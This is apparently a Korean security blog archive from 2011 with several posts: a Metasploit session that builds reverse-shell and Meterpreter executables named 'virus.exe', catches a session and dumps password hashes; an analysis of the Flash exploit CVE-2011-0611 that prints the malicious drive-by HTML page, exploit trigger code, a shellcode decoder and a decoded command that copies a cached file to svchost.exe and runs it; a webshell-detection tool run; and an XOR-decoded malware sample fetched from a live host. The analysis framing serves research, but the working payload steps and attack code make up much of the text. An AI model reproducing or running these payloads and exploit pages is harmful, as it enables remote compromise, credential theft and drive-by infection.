 windows/vncinject/reverse_tcp normal VNC Server (Reflective Injection), Reverse TCP Stager
 windows/vncinject/reverse_tcp_allports normal VNC Server (Reflective Injection), Reverse All-Port TCP Stager
 windows/vncinject/reverse_tcp_dns normal VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
 windows/x64/exec normal Windows x64 Execute Command
 windows/x64/meterpreter/bind_tcp normal Windows x64 Meterpreter, Windows x64 Bind TCP Stager
 windows/x64/meterpreter/reverse_tcp normal Windows x64 Meterpreter, Windows x64 Reverse TCP Stager
 windows/x64/shell/bind_tcp normal Windows x64 Command Shell, Windows x64 Bind TCP Stager
 windows/x64/shell/reverse_tcp normal Windows x64 Command Shell, Windows x64 Reverse TCP Stager
 windows/x64/shell_bind_tcp normal Windows x64 Command Shell, Bind TCP Inline
 windows/x64/shell_reverse_tcp normal Windows x64 Command Shell, Reverse TCP Inline
 windows/x64/vncinject/bind_tcp normal Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
 windows/x64/vncinject/reverse_tcp normal Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager

msf > use windows/vncinject/reverse_tcp
msf payload(reverse_tcp) > show options

Module options (payload/windows/vncinject/reverse_tcp):

 Name Current Setting Required Description
---- --------------- -------- -----------
 AUTOVNC true yes Automatically launch VNC viewer if present
 EXITFUNC process yes Exit technique: seh, thread, process, none
 LHOST yes The listen address
 LPORT 4444 yes The listen port
 VNCHOST 127.0.0.1 yes The local host to use for the VNC proxy
 VNCPORT 5900 yes The local port to use for the VNC proxy

msf payload(reverse_tcp) > set LHOST 192.168.109.1
LHOST => 192.168.109.1
msf payload(reverse_tcp) > generate -h
Usage: generate [options]

Generates a payload.

OPTIONS:

 -E Force encoding.
 -b <opt> The list of characters to avoid: '\x00\xff'
 -e <opt> The name of the encoder module to use.
 -f <opt> The output file name (otherwise stdout)
 -h Help banner.
 -i <opt> the number of encoding iterations.
 -k Keep the template executable functional
 -o <opt> A comma separated list of options in VAR=VAL format.
 -p <opt> The Platform for output.
 -s <opt> NOP sled length.
 -t <opt> The output format: raw,ruby,rb,perl,pl,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vbs,loop-vbs,asp,war
 -x <opt> The executable template to use

msf payload(reverse_tcp) > generate -f virus.exe -t exe
[*] Writing 73802 bytes to virus.exe...
msf payload(reverse_tcp) > ls -al virus.exe
[*] exec: ls -al virus.exe

-rwx------+ 1 ByJJoon None 73802 May 18 06:38 virus.exe
msf payload(reverse_tcp) > file virus.exe
[*] exec: file virus.exe

virus.exe: PE32 executable (GUI) Intel 80386, for MS Windows
msf payload(reverse_tcp) > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/vncinject/reverse_tcp
PAYLOAD => windows/vncinject/reverse_tcp
msf exploit(handler) > show options

Module options (exploit/multi/handler):

 Name Current Setting Required Description
---- --------------- -------- -----------

Payload options (windows/vncinject/reverse_tcp):

 Name Current Setting Required Description
---- --------------- -------- -----------
 AUTOVNC true yes Automatically launch VNC viewer if present
 EXITFUNC process yes Exit technique: seh, thread, process, none
 LHOST yes The listen address
 LPORT 4444 yes The listen port
 VNCHOST 127.0.0.1 yes The local host to use for the VNC proxy
 VNCPORT 5900 yes The local port to use for the VNC proxy

Exploit target:

 Id Name
-- ----
 0 Wildcard Target

msf exploit(handler) > set LHOST 192.168.109.1
LHOST => 192.168.109.1
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.109.1:4444
[*] Starting the payload handler...
[*] Sending stage (445440 bytes) to 192.168.109.128
[*] Starting local TCP relay on 127.0.0.1:5900...
[*] Local TCP relay started.
[*] Launched vncviewer.
[*] Session 1 created in the background.
msf exploit(handler) >

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186


msf exploit(handler) > use windows/meterpreter/reverse_tcp
msf payload(reverse_tcp) > show options

Module options (payload/windows/meterpreter/reverse_tcp):

 Name Current Setting Required Description
---- --------------- -------- -----------
 EXITFUNC process yes Exit technique: seh, thread, process, none
 LHOST yes The listen address
 LPORT 4444 yes The listen port

msf payload(reverse_tcp) > set LHOST 192.168.109.1
LHOST => 192.168.109.1
msf payload(reverse_tcp) > generate -f virus2.exe -t exe
[*] Writing 73802 bytes to virus2.exe...
msf payload(reverse_tcp) > ls -al virus2.exe
[*] exec: ls -al virus2.exe

-rwx------+ 1 ByJJoon None 73802 May 18 06:50 virus2.exe
msf payload(reverse_tcp) > file virus2.exe
[*] exec: file virus2.exe

virus2.exe: PE32 executable (GUI) Intel 80386, for MS Windows
msf payload(reverse_tcp) > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > show options

Module options (exploit/multi/handler):

 Name Current Setting Required Description
---- --------------- -------- -----------

Payload options (windows/meterpreter/reverse_tcp):

 Name Current Setting Required Description
---- --------------- -------- -----------
 EXITFUNC process yes Exit technique: seh, thread, process, none
 LHOST 192.168.109.1 yes The listen address
 LPORT 4444 yes The listen port

Exploit target:

 Id Name
-- ----
 0 Wildcard Target

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.109.1:4444
[*] Starting the payload handler...
[*] Sending stage (749056 bytes) to 192.168.109.128
[*] Meterpreter session 2 opened (192.168.109.1:4444 -> 192.168.109.128:1074) at 2011-05-18 06:51:23 +0900

meterpreter > help

Core Commands
=============

 Command Description
------- -----------
 ? Help menu
 background Backgrounds the current session
 bgkill Kills a background meterpreter script
 bglist Lists running background scripts
 bgrun Executes a meterpreter script as a background thread
 channel Displays information about active channels
 close Closes a channel
 exit Terminate the meterpreter session
 help Help menu
 info Displays information about a Post module
 interact Interacts with a channel
 irb Drop into irb scripting mode
 load Load one or more meterpreter extensions
 migrate Migrate the server to another process
 quit Terminate the meterpreter session
 read Reads data from a channel
 resource Run the commands stored in a file
 run Executes a meterpreter script or Post module
 use Deprecated alias for 'load'
 write Writes data to a channel

Stdapi: File system Commands
============================

 Command Description
------- -----------
 cat Read the contents of a file to the screen
 cd Change directory
 del Delete the specified file
 download Download a file or directory
 edit Edit a file
 getlwd Print local working directory
 getwd Print working directory
 lcd Change local working directory
 lpwd Print local working directory
 ls List files
 mkdir Make directory
 pwd Print working directory
 rm Delete the specified file
 rmdir Remove directory
 search Search for files
 upload Upload a file or directory

Stdapi: Networking Commands
===========================

 Command Description
------- -----------
 ipconfig Display interfaces
 portfwd Forward a local port to a remote service
 route View and modify the routing table

Stdapi: System Commands
=======================

 Command Description
------- -----------
 clearev Clear the event log
 drop_token Relinquishes any active impersonation token.
 execute Execute a command
 getpid Get the current process identifier
 getprivs Attempt to enable all privileges available to the current process
 getuid Get the user that the server is running as
 kill Terminate a process
 ps List running processes
 reboot Reboots the remote computer
 reg Modify and interact with the remote registry
 rev2self Calls RevertToSelf() on the remote machine
 shell Drop into a system command shell
 shutdown Shuts down the remote computer
 steal_token Attempts to steal an impersonation token from the target process
 sysinfo Gets information about the remote system, such as OS

Stdapi: User interface Commands
===============================

 Command Description
------- -----------
 enumdesktops List all accessible desktops and window stations
 getdesktop Get the current meterpreter desktop
 idletime Returns the number of seconds the remote user has been idle
 keyscan_dump Dump the keystroke buffer
 keyscan_start Start capturing keystrokes
 keyscan_stop Stop capturing keystrokes
 screenshot Grab a screenshot of the interactive desktop
 setdesktop Change the meterpreters current desktop
 uictl Control some of the user interface components

Stdapi: Webcam Commands
=======================

 Command Description
------- -----------
 record_mic Record audio from the default microphone for X seconds
 webcam_list List webcams
 webcam_snap Take a snapshot from the specified webcam

Priv: Elevate Commands
======================

 Command Description
------- -----------
 getsystem Attempt to elevate your privilege to that of local system.

Priv: Password database Commands
================================

 Command Description
------- -----------
 hashdump Dumps the contents of the SAM database

Priv: Timestomp Commands
========================

 Command Description
------- -----------
 timestomp Manipulate file MACE attributes

meterpreter > hashdump
Administrator:500:6c36913468365950aad3b435b51404ee:711161255cd9560e884378d0e28a5027:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:a51f93e4803b68166e1cee91c7744d1f:7d28b6b112e8f84513b8d1e3aa40d1a7:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:35db8a26c8621e45b0ef24a043665a23:::
Test:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
meterpreter >

Adobe Flash Player 0-day Exploit (CVE-2011-0611)

Sat, 23 Apr 2011 07:37:33 +0000

CVE-2011-0611 취약점과 관련된 SWF에서 아래와 같인 코드가 확인된다고 한다.

1
2
3
4
5
6
7


Date.prototype.c_fun = SharedObject.prototype.getSize;
Date.prototype.getDay = function () {
this.c_fun();
};

var eval(0) = new Date(1.41466385537348e-315);
(eval(0)).getDay();

1
2
3


Date.prototype.getDay = SharedObject.prototype.getSize;
var d = new Date(8.30830068348057E-246);
var __callResult_19 = d.getDay();

CVE-2011-0611 분석 :: Drive-By-Cache Infections

Mon, 18 Apr 2011 17:21:57 +0000

최근에 Adobe Flash 취약점 (CVE-2011-0611) 이 발표되었다. 그리고 해당 취약점은 지난 주말에 악성코드 유포에 이용되어 국내에 관련 악성코드 피해건수가 꽤나 높게 나왔다.

이번에 해당 취약점을 분석하면서 흥미로운 포스팅을 하나 보았다. 기존 웹을 통해 유포되는 악성코드는 대부분 취약점을 통해 쉘코드를 실행하는데, 이 쉘코드는 대부분 악성코드를 Download & Excute 하는 쉘코드이다.

하지만 이번에 이용된 쉘코드는 기존과 달랐다. 어떻게 다른지 한번 살펴보자. 우선 취약점 관련 코드이다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92


<html>
<head>
<script type="text/javascript">
function getCookieVal (offset){
 var endstr = document.cookie.indexOf (";", offset);
 if (endstr == -1) {
 endstr = document.cookie.length;
 }
 return unescape(document.cookie.substring(offset, endstr));
}
function GetCookie (name){
 var arg = name + "=";
 var alen = arg.length;
 var clen = document.cookie.length;
 var i = 0;
 while (i < clen){
 var j = i + alen;
 if (document.cookie.substring(i, j) == arg)
 return getCookieVal (j);
 i = document.cookie.indexOf(" ", i) + 1;
 if (i == 0)
 break;
 }
 return null;
 }
function SetCookie (name, value){
 var argv = SetCookie.arguments;
 var argc = SetCookie.arguments.length;
 var expires = (2 < argc) ? argv[2] : null;
 var path = (3 < argc) ? argv[3] : null;
 var domain = (4 < argc) ? argv[4] : null;
 var secure = (5 < argc) ? argv[5] : false;
 document.cookie = name + "=" + escape (value) +
 ((expires == null) ? "" : ("; expires=" + expires.toGMTString())) +
 ((path == null) ? "" : ("; path=" + path)) +
 ((domain == null) ? "" : ("; domain=" + domain)) +
 ((secure == true) ? "; secure" : "");
}
function DisplayInfo(){
 var expdate = new Date();
 var visit;
 expdate.setTime(expdate.getTime() + (24 * 60 * 60 * 1000 ));
 if(!(visit = GetCookie("visit")))
 visit = 0;
 visit++;
 SetCookie("visit", visit, expdate, "/", null, false);
 return visit;
}

function code(){
 var num=DisplayInfo();
 if (num < 3){
 return 1;
 }
 else{
 return 0;
 }
}
function user(){
 var t1="<script type=\"text/javascript\">window.onerror=function(){return true;};<\/script>\r\n"+
 "<object width=\"550\" height=\"400\">\r\n"+
 "<param name=\"movie\" value=\"done.swf\">\r\n"+
 "<embed src=\"t1.swf\" width=\"550\" height=\"400\">\r\n"+
 "<\/embed>\r\n"+
 "<\/object>"
 ;

 var t8="<script type=\"text/javascript\">window.onerror=function(){return true;};<\/script>\r\n"+
 "<object classID=yg.dll#yg.e><\/object>\r\n"+
 "<object width=\"550\" height=\"400\">\r\n"+
 "<param name=\"movie\" value=\"done.swf\">\r\n"+
 "<embed src=\"t8.swf\" width=\"550\" height=\"400\">\r\n"+
 "<\/embed>\r\n"+
 "<\/object>"
 ;
 var info = navigator.userAgent.toLowerCase();
 var win = (navigator.platform == "Win32") || (navigator.platform == "Windows");
 var ck=code();
 window.onerror=function(){return true;}
 var page="";
 var temp=navigator.userAgent.toLowerCase();
 var ie6 = temp.indexOf("msie 6.")!=-1;var ie7 = temp.indexOf("msie 7.")!=-1;var ie8 = temp.indexOf("msie 8.")!=-1;if(ie8){ie6=false;ie7=false;}if(ie7){ie6=false;}
 var fox = temp.indexOf("firefox/")!=-1;
 var xp=((temp.indexOf('windows nt 5.1')!=-1)||(temp.indexOf('windows xp')!=-1));
 if(ie6||ie7){document.body.innerHTML="xxxx"+t1}else if(ie8){document.body.innerHTML="xxxx"+t8}else{document.body.innerHTML="xxxx"+t1};
}
</script>
<script src=newsvine.jp2></script>
</head>
<body onload=user()>
</body>
</html>

코드를 보면 우선 t1.swf, t8.swf가 로드됨을 알 수 있다. 이 파일들로 인해 취약점이 발생하는 것이다. 그리고 하단에 보면 newsvine.jp2 파일을 삽입한다. 일단 newsvine.jp2 파일을 삽입함을 기억하고 넘어가도록 하자.

이제 t1.swf 파일을 분석해보자. 디컴파일러를 통해 우선 코드를 확인해보자. 디컴파일러는 여러 제품이 있지만 이툴도 사용해볼만 하다.

SWFScan : http://www.hp.com/go/swfscan

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43


while(this.i < 1023)
 {
 writeBytes(this.s3, 0, this.s3.length);
 loc0 = this;
 loc1 = this.i + 1;
 loc0.i = this.i;
 }
 writeInt(2425393296);
 writeInt(2425393296);
 writeInt(3326443264);
 writeInt(1083216016);
 writeInt(3943717707);
 writeInt(63530681);
 writeInt(2231533620);
 writeInt(-69016838);
 writeInt(3943033067);
 writeInt(4294967051);
 writeInt(3118523106);
.
.
[생략]
.
.
 writeInt(3123304899);
 writeInt(3806520034);
 trace(this.s.length);
 this.i = 0;
 this.i = 0;
 while(this.i < 176)
 {
 this.s2 = new ByteArray();
 writeBytes(this.s, 0, this.s.length);
 trace(this.s2.length);
 push(this.s2);
 loc0 = this;
 loc1 = this.i + 1;
 loc0.i = this.i;
 }
 this.r = this.hexToBin(this.t);
 this.ldr = new Loader();
 loadBytes(this.r);
 stop();
 return;

writeInt(숫자)로 된 부분이 쉘코드임을 알 수 있다. 따라서 writeInt(숫자) 로 된 부분만 따로 떼어 아래와 같이 코드를 작성하여 쉘코드를 분석할 수 있다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185


#!/usr/bin/env python
import re

s = '''
writeInt(2425393296);
writeInt(2425393296);
writeInt(3326443264);
writeInt(1083216016);
writeInt(3943717707);
writeInt(63530681);
writeInt(2231533620);
writeInt(-69016838);
writeInt(3943033067);
writeInt(4294967051);
writeInt(3118523106);
writeInt(3184599686);
writeInt(1137894114);
writeInt(3798573806);
writeInt(1235416681);
writeInt(3798590057);
writeInt(2331142421);
writeInt(2296888074);
writeInt(82043618);
writeInt(1107303050);
writeInt(3520127714);
writeInt(2327286151);
writeInt(2427873764);
writeInt(-88742942);
writeInt(3798534792);
writeInt(3820685877);
writeInt(3823297024);
writeInt(193629905);
writeInt(3504507537);
writeInt(2324139702);
writeInt(1239681755);
writeInt(3823297129);
writeInt(-91692101);
writeInt(-94641182);
writeInt(3791657833);
writeInt(107024054);
writeInt(1226705404);
writeInt(3138065634);
writeInt(3806509067);
writeInt(266527458);
writeInt(3112755848);
writeInt(3803426993);
writeInt(2296520116);
writeInt(4195031010);
writeInt(3806464575);
writeInt(220011905);
writeInt(2407976071);
writeInt(2592588493);
writeInt(2713887917);
writeInt(2965556656);
writeInt(3267413943);
writeInt(2980556978);
writeInt(2964169899);
writeInt(2930231230);
writeInt(2928509315);
writeInt(2395124103);
writeInt(2526448524);
writeInt(2240921270);
writeInt(2274333325);
writeInt(2424541339);
writeInt(3266022550);
writeInt(2274397319);
writeInt(2529338507);
writeInt(2391249342);
writeInt(3233990539);
writeInt(3266030786);
writeInt(3398207381);
writeInt(2442431372);
writeInt(2278083720);
writeInt(2463157186);
writeInt(2796405450);
writeInt(3397488518);
writeInt(3431438983);
writeInt(3267415425);
writeInt(3263596430);
writeInt(3268252098);
writeInt(3348531087);
writeInt(2462563985);
writeInt(2491517581);
writeInt(2442579079);
writeInt(2592588484);
writeInt(3301081485);
writeInt(2459681472);
writeInt(3347824834);
writeInt(3348531087);
writeInt(2462563985);
writeInt(2491517581);
writeInt(2442579079);
writeInt(2592588493);
writeInt(2613232836);
writeInt(3263270790);
writeInt(3431438983);
writeInt(3268248002);
writeInt(2442560400);
writeInt(2529347478);
writeInt(2274333383);
writeInt(3197211777);
writeInt(2324533654);
writeInt(3431438983);
writeInt(3234581474);
writeInt(-85517027);
writeInt(226594694);
writeInt(3431438983);
writeInt(3792313372);
writeInt(220040594);
writeInt(2274157153);
writeInt(109478761);
writeInt(225044166);
writeInt(1093070433);
writeInt(-84599550);
writeInt(1121585814);
writeInt(3898792459);
writeInt(2531746522);
writeInt(-107482269);
writeInt(2598859378);
writeInt(1114805994);
writeInt(1226684265);
writeInt(-26238233);
writeInt(218237661);
writeInt(3806519841);
writeInt(1121585814);
writeInt(3898792459);
writeInt(2531746522);
writeInt(-107482269);
writeInt(2598859378);
writeInt(1114805762);
writeInt(2330650850);
writeInt(3798967015);
writeInt(218237685);
writeInt(3806519841);
writeInt(-84679966);
writeInt(3797611491);
writeInt(3865190638);
writeInt(3792298170);
writeInt(17439517);
writeInt(220051748);
writeInt(3847908285);
writeInt(3817088421);
writeInt(3877437985);
writeInt(2976464561);
writeInt(2292353762);
writeInt(4074955445);
writeInt(1235545610);
writeInt(2585599261);
writeInt(3122770868);
writeInt(1234689641);
writeInt(2529991393);
writeInt(129264020);
writeInt(3269531601);
writeInt(195797839);
writeInt(3777483065);
writeInt(3982291672);
writeInt(76999203);
writeInt(166060344);
writeInt(2718503897);
writeInt(4254533052);
writeInt(1237108449);
writeInt(260336110);
writeInt(2842279166);
writeInt(3779029478);
writeInt(1239492425);
writeInt(3166380298);
writeInt(1109335325);
writeInt(3499521006);
writeInt(1195199833);
writeInt(2171286445);
writeInt(4232480269);
writeInt(3045388061);
writeInt(1256780314);
writeInt(3123304899);
writeInt(3806520034);
'''

data = re.findall('\d+', s)

ret = []
for x in data:
 tmp = "%X" % int(x)
 ret.append(tmp)

print ''.join(ret)

위 코드로 완벽하게 변환은 되지 않지만 대충 어느정도 변환은 될것으로 보인다. 위 스크립트를 실행하면 아래와 같다.

1
2


C:\Users\ByJJoon\Desktop>run.py
9090909090909090c6457f0040909090eb105b4b3c966b98502803441d1d06eb05e8ebffffff0bb9e0e2e2bdd1228643d2e2e2e269a2ee49a2f669e269e2698af2691588e7bb0a4e3e2e242001a8ad1d0e2e28ab7918790b669e454a1c1ee2690a88e3bb0a35e3e2e200b8a8ed1d0e28a918a878eb649e40adbe3e2e2695771c455a41c1ee2001b696610eb6491e09fcbb0b14e2e2e2b80bfe2e2e2b988e288e2b3b0b188e21db4fa0b17e2e2e20a3fd1d1d818f86cc879a87c2cda1c2a4adb0c2cdb0c2c0c7b7b1a7b0b2b0ada4abaea7c7beae8d81838ec2b18796968b8c8591beb6878f928d9083909bc2ab8c9687908c8796c2a48b8e8791bec0c2c78bc2abacc2ca8c879591948b8c87c8cc8892d0cbc2a6adc2caca818f86cc879a87c2c0cd81c286878ec2cd91c2c796878f92c7be9194818a8d9196cc879a87c2c4c4c2818d929bc2c0c78bc0c2c796878f92c7be9194818a8d9196cc879a87c2cd9bc2c4c4c2818f86cc879a87c2cd81c29196839096c2c796878f92c7be9194818a8d9196cc879a87c0cbcbe2518e2e3d818f86cc879a87e20a1c1cd1d8d92878ce2616868369d69e6c64126ee6150ae2fe42da0a96e862da0b96e762da6680c9d9ae77272427296ea491db7691905d19d020adde2e2e22142da0a96e862da0b96e762da6680c9d9ae77272427296028aeae8e2e26fa2e7d020af5e2e2e22150c1d1ee25af3e3e66220eee209e0ba10a1b1dd1db924e55a6bbde38425a5e71d0221b1693eb188a28ae2f2e2e2b549a4ee0a9a1d1d1dba21b3b44997de6996cc9ae17b46994c2e117d1baba34fe127d139ed5cf2d8496ea239e5e138a20913d9fd9705bc49bcc6e1f8469eea969bcfee13f69e649e12749bcbb210a421f1d1dd09673ee473d4d59816b33adfc46860db584ef1d4ae8f21aba29d9c3e2e2e2e2

이제 나온 결과를 확인해보면 아래와 같은 문자열을 확인할 수 있다.

1

cmd.exe /C FOR /R "%USERPROFILE%\Local Settings\Temporary Internet Files\" %i IN (newsvine*.jp2) DO ((cmd.exe "/c del /s %temp%\svchost.exe && copy "%i" %temp%\svchost.exe /y && cmd.exe /c start %temp%\svchost.exe"))

이전에 삽입되었던 newsvine.jp2 파일을 %temp%svchost.exe 로 복사하여 실행하는 것이다. 여기서 newsvine*.jp2 와 같이 와일드카드를 이용하여 코드를 작성한 이유는 이전에 삽입되었던 파일이 인터넷 임시폴더에 저장될때 newsvine[1].jp2 등의 파일이름으로 저장되기 때문에 정확히 어떤 파일명인지 알수 없기 때문이다.

즉, 최근 브라우져에서 URLDownloadToFile() 함수를 호출하는 경우 백신에서 탐지를 하게 되므로 이를 우회하기 위해 다음과 같은 기법을 이용하는 것으로 보인다.

이러한 기법은 아주 흥미로운 내용인거 같다 :-)

참고 : http://blog.armorize.com/2011/04/newest-adobe-flash-0-day-used-in-new.html

Webshell 탐지 :: Neohapsis / NeoPI

Thu, 14 Apr 2011 14:53:15 +0000

오늘 웹쉘 탐지와 관련하여 흥미로운 툴을 봐서 기록에 남깁니다. 웹쉘 탐지와 관련해서 국내에도 많은 솔루션이 나와 있는데 이 툴 또한 꽤나 퍼포먼스도 좋고 잘 탐지하는거 같습니다.

무엇보다 obfuscated 된 파일에 대해서도 탐지를 할 수 있다는 점이 신선하네요. 탐지 방법은 엔트로피를 이용하여 통계적인 방법을 이용해 탐지하는 것으로 보입니다.

다운로드 : https://github.com/Neohapsis/NeoPI

간단하게 제 리눅스 서버에 몇가지 웹쉘을 올려놓고 돌려봤는데 잘 탐지를 하네요.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80


[root@ByJJoon Neohapsis-NeoPI-1167c8e]# python2.7 neopi.py --h
Usage: neopi.py [options] <start directory> <OPTIONAL: filename regex>

Options:
 --version show program's version number and exit
 -h, --help show this help message and exit
 -c FILECSV, --csv=FILECSV
 generate CSV outfile
 -a, --all Run all (useful) tests [Entropy, Longest Word, IC,
 Signature]
 -z, --zlib Run compression Test
 -e, --entropy Run entropy Test
 -l, --longestword Run longest word test
 -i, --ic Run IC test
 -s, --signature Run signature test
 -A, --auto Run auto file extension tests
[root@ByJJoon Neohapsis-NeoPI-1167c8e]# python2.7 neopi.py -a -A /var/www/html/

[[ Average IC for Search ]]
0.0224645152241

[[ Top 10 lowest IC files ]]
 0.0205 /var/www/html/We35he11/r57.txt
 0.0251 /var/www/html/We35he11/bot1.txt
 0.0292 /var/www/html/We35he11/c99.txt
 0.0381 /var/www/html/We35he11/spread.txt
 0.0386 /var/www/html/irc/client-perl.cgi
 0.0412 /var/www/html/We35he11/cmd.txt
 0.0425 /var/www/html/irc/docs/decode.pl
 0.0484 /var/www/html/We35he11/ce.pl
 0.0542 /var/www/html/shellcode2exe/index.php
 0.0542 /var/www/html/shellcode2exe/shellcode_2_exe.php

[[ Top 10 entropic files for a given search ]]
 5.8192 /var/www/html/We35he11/bot1.txt
 5.7631 /var/www/html/We35he11/r57.txt
 5.7100 /var/www/html/We35he11/c99.txt
 5.4953 /var/www/html/irc/client-perl.cgi
 5.3739 /var/www/html/We35he11/ce.pl
 5.3318 /var/www/html/We35he11/cmd.txt
 5.2819 /var/www/html/irc/modules/parse.pl
 5.2375 /var/www/html/irc/irc.cgi
 5.2209 /var/www/html/irc/docs/decode.pl
 5.2172 /var/www/html/irc/docs/viewconnects.pl

[[ Top 10 longest word files ]]
 134892 /var/www/html/We35he11/r57.txt
 422 /var/www/html/We35he11/c99.txt
 103 /var/www/html/We35he11/bot1.txt
 89 /var/www/html/We35he11/cmd.txt
 62 /var/www/html/irc/nph-irc.cgi
 61 /var/www/html/shellcode2exe/shellcode_2_exe.php
 61 /var/www/html/shellcode2exe/index.php
 53 /var/www/html/XSS/xss.php
 50 /var/www/html/index.php
 49 /var/www/html/irc/irc.cgi

[[ Top 10 signature match counts ]]
 103 /var/www/html/We35he11/c99.txt
 53 /var/www/html/shellcode2exe/shellcode_2_exe.php
 53 /var/www/html/shellcode2exe/index.php
 34 /var/www/html/We35he11/bot1.txt
 10 /var/www/html/We35he11/cmd.txt
 7 /var/www/html/We35he11/spread.txt
 4 /var/www/html/We35he11/go.txt
 3 /var/www/html/irc/nph-irc.cgi
 3 /var/www/html/We35he11/ce.pl
 2 /var/www/html/We35he11/r57.txt

[[ Top cumulative ranked files ]]
 9 /var/www/html/We35he11/c99.txt
 10 /var/www/html/We35he11/bot1.txt
 14 /var/www/html/We35he11/r57.txt
 21 /var/www/html/We35he11/cmd.txt
 29 /var/www/html/shellcode2exe/index.php
 29 /var/www/html/shellcode2exe/shellcode_2_exe.php
 34 /var/www/html/We35he11/ce.pl
 36 /var/www/html/We35he11/spread.txt
 37 /var/www/html/irc/client-perl.cgi
 41 /var/www/html/irc/irc.cgi

좀 더 상세한 내용은 아래 페이지를 참고하시기 바랍니다. http://resources.infosecinstitute.com/web-shell-detection/

새로운 XOR 암호화 루틴

Wed, 06 Apr 2011 10:08:37 +0000

최근에 새로운 루틴으로 암호화 하는 형태를 발견하여 분석 하였습니다.

코드를 확인한 결과 기존에 작성했던 스크립트로는 복호화가 되지 않아 조금 수정하였습니다. (기존에 작업한 스크립트 : https://jjoon.net/page/?p=238)

수정한 코드로 작업한 내용입니다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


D:\Python Programming\Python Code\Malware\Script Analysis>wget http://wkmf.swim.org/bbs/images/top.gif
--2011-04-07 00:06:33-- http://wkmf.swim.org/bbs/images/top.gif
Resolving wkmf.swim.org (wkmf.swim.org)... 121.189.59.232
Connecting to wkmf.swim.org (wkmf.swim.org)|121.189.59.232|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 74556 (73K) [image/gif]
Saving to: `top.gif'

100%[========================================================================================>] 74,556 --.-K/s in 0.001s

2011-04-07 00:06:33 (104 MB/s) - `top.gif' saved [74556/74556]

D:\Python Programming\Python Code\Malware\Script Analysis>xor.py top.gif
ByJJoon XOR Decoder!
[+] Start
[+] Find XOR key : 0xDC
[+] Find ADD key : 0x24
[+] Create PE file : top.gif_xor
[+] End

D:\Python Programming\Python Code\Malware\Script Analysis>file top.gif
top.gif: data

D:\Python Programming\Python Code\Malware\Script Analysis>file top.gif_xor
top.gif_xor: PE32 executable (GUI) Intel 80386, for MS Windows

D:\Python Programming\Python Code\Malware\Script Analysis>md5sum top.gif_xor
3820a8b66897dc795ada1b8de195a732 *top.gif_xor

위 샘플 진단 결과 입니다. http://www.virustotal.com/file-scan/report.html?id=64267a2d3f1e836b2d6fee8020e8a104cfc7e8254930841836ef2c38451523b9-1302078258

Challenge 3 of the Forensic Challenge 2010 - Banking Troubles

Fri, 01 Apr 2011 20:01:54 +0000

이번 첼린지는 메모리 덤프에 대한 분석인데, 처음 해보는거라 풀이를 참고했다. 우선 Volatility 툴을 처음 알게되었고 사용법을 어느정도 익히게 된거 같아 나름 뿌듯하다. http://www.honeynet.org/challenges/2010_3_banking_troubles

